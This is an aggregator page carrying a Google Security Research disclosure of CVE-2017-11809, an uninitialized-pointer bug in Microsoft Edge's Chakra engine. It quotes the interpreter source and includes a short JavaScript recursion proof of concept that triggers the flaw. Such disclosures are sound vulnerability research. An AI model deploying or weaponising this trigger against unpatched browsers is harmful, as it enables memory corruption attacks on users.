Lucene search
K

Microsoft Edge Chakra StackScriptFunction::BoxState::Box Uninitialized Pointers Exploit

🗓️ 15 Oct 2017 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 44 Views

Microsoft Edge Chakra StackScriptFunction::BoxState::Box Uninitialized Pointers Exploi

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2017-11821
13 Oct 201713:29
attackerkb
ATTACKERKB
CVE-2017-11812
13 Oct 201713:29
attackerkb
ATTACKERKB
CVE-2017-11811
13 Oct 201713:29
attackerkb
ATTACKERKB
CVE-2017-11810
13 Oct 201713:29
attackerkb
ATTACKERKB
CVE-2017-11809
13 Oct 201713:29
attackerkb
BDU FSTEC
The vulnerability of the JavaScript script handler ChakraCore in the Microsoft Edge browser allows a hacker to execute arbitrary code.
10 Nov 201700:00
bdu_fstec
Circl
CVE-2017-11809
17 Oct 201700:00
circl
CNVD
Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2017-30344)
11 Oct 201700:00
cnvd
Check Point Advisories
Microsoft Edge Scripting Engine Memory Corruption (CVE-2017-11809)
16 Oct 201700:00
checkpoint_advisories
CVE
CVE-2017-11809
13 Oct 201713:00
cve
Rows per page
Microsoft Edge: Chakra: Accesses to uninitialized pointers in StackScriptFunction::BoxState::Box 

CVE-2017-11809


Here's a snippet of the method that interprets a javascript function's bytecode.

Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()
{
    PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a)

    if (!this->closureInitDone)
    {
        Assert(this->m_reader.GetCurrentOffset() == 0);
        this->InitializeClosures();    <<------- (b)
    }

    ...
    ... interprets the bytecode

...

At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized.
But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code.

void StackScriptFunction::BoxState::Box()
{
...

    if (callerFunctionBody->DoStackScopeSlots())
    {
        Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure();
        if (stackScopeSlots)
        {
            Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount());
            interpreterFrame->SetLocalClosure((Var)boxedScopeSlots);
        }
    ...
...

"stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.

It's a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js.

PoC:
function trigger() {
    let a, b, c;

    function g() {
        trigger();

        a, b, c;
    }

    g();
}

trigger();




This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.


#  0day.today [2018-03-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Oct 2017 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.78672
44